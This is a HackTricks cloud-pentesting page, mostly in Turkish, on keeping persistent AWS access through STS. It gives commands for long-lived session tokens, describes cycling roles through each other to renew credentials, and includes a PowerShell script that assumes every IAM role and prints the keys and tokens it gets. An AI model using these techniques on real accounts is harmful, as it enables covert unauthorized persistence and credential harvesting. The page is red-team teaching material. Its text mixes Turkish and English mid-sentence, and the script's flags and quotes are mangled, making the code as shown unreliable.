AWS - STS Persistence

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

STS

Daha fazla bilgi için bakınız:

AWS - STS Enum

Assume role token

Temporary tokens cannot be listed, so maintaining an active temporary token is a way to maintain persistence.

aws sts get-session-token --duration-seconds 129600

# With MFA
aws sts get-session-token \
--serial-number  \
--token-code 

# Hardware device name is usually the number from the back of the device, such as GAHT12345678
# SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
# Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username

Role Chain Juggling

Role chaining is an acknowledged AWS feature, genellikle stealth persistence’ı sürdürmek için kullanılır. Bu, assume a role which then assumes another yeteneğini içerir ve potansiyel olarak başlangıç rolüne cyclical manner içinde geri dönebilir. Her rol assume edildiğinde, kimlik bilgilerine ait expiration alanı yenilenir. Sonuç olarak, eğer iki rol birbirlerini karşılıklı olarak assume edecek şekilde yapılandırılırsa, bu yapı credentials’ın sürekli yenilenmesine imkan verir.

Role chaining’i sürdürmek için bu tool kullanılabilir:

./aws_role_juggler.py -h
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]

optional arguments:
-h, --help            show this help message and exit
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]

Caution

Bu Github deposundaki find_circular_trust.py betiğinin bir rol zincirinin yapılandırılabileceği tüm yolları bulmadığını unutmayın.

PowerShell üzerinden Role Juggling gerçekleştirmek için kod ```bash # PowerShell script to check for role juggling possibilities using AWS CLI

Check for AWS CLI installation

if (-not (Get-Command “aws” -ErrorAction SilentlyContinue)) { Write-Error “AWS CLI is not installed. Please install it and configure it with ‘aws configure’.” exit }

Function to list IAM roles

function List-IAMRoles { aws iam list-roles –query “Roles[*].{RoleName:RoleName, Arn:Arn}” –output json }

Initialize error count

$errorCount = 0

List all roles

$roles = List-IAMRoles | ConvertFrom-Json

Attempt to assume each role

foreach ($role in $roles) { $sessionName = “RoleJugglingTest-” + (Get-Date -Format FileDateTime) try { $credentials = aws sts assume-role –role-arn $role.Arn –role-session-name $sessionName –query “Credentials” –output json 2>$null | ConvertFrom-Json if ($credentials) { Write-Host “Successfully assumed role: $($role.RoleName)” Write-Host “Access Key: $($credentials.AccessKeyId)” Write-Host “Secret Access Key: $($credentials.SecretAccessKey)” Write-Host “Session Token: $($credentials.SessionToken)” Write-Host “Expiration: $($credentials.Expiration)”

Set temporary credentials to assume the next role

$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId $env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey $env:AWS_SESSION_TOKEN = $credentials.SessionToken

Try to assume another role using the temporary credentials

foreach ($nextRole in $roles) { if ($nextRole.Arn -ne $role.Arn) { $nextSessionName = “RoleJugglingTest-” + (Get-Date -Format FileDateTime) try { $nextCredentials = aws sts assume-role –role-arn $nextRole.Arn –role-session-name $nextSessionName –query “Credentials” –output json 2>$null | ConvertFrom-Json if ($nextCredentials) { Write-Host “Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)” Write-Host “Access Key: $($nextCredentials.AccessKeyId)” Write-Host “Secret Access Key: $($nextCredentials.SecretAccessKey)” Write-Host “Session Token: $($nextCredentials.SessionToken)” Write-Host “Expiration: $($nextCredentials.Expiration)” } } catch { $errorCount++ } } }

Reset environment variables

Remove-Item Env:\AWS_ACCESS_KEY_ID Remove-Item Env:\AWS_SECRET_ACCESS_KEY Remove-Item Env:\AWS_SESSION_TOKEN } else { $errorCount++ } } catch { $errorCount++ } }

Output the number of errors if any

if ($errorCount -gt 0) { Write-Host “$errorCount error(s) occurred during role assumption attempts.” } else { Write-Host “No errors occurred. All roles checked successfully.” }

Write-Host “Role juggling check complete.”

</details>

> [!TIP]
> AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Az Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks'i Destekleyin</summary>
>
> - [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
> - **Katılın** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) veya [**telegram group**](https://t.me/peass) veya **Twitter**'da bizi **takip edin** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **PR göndererek hacking tricks paylaşın:** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>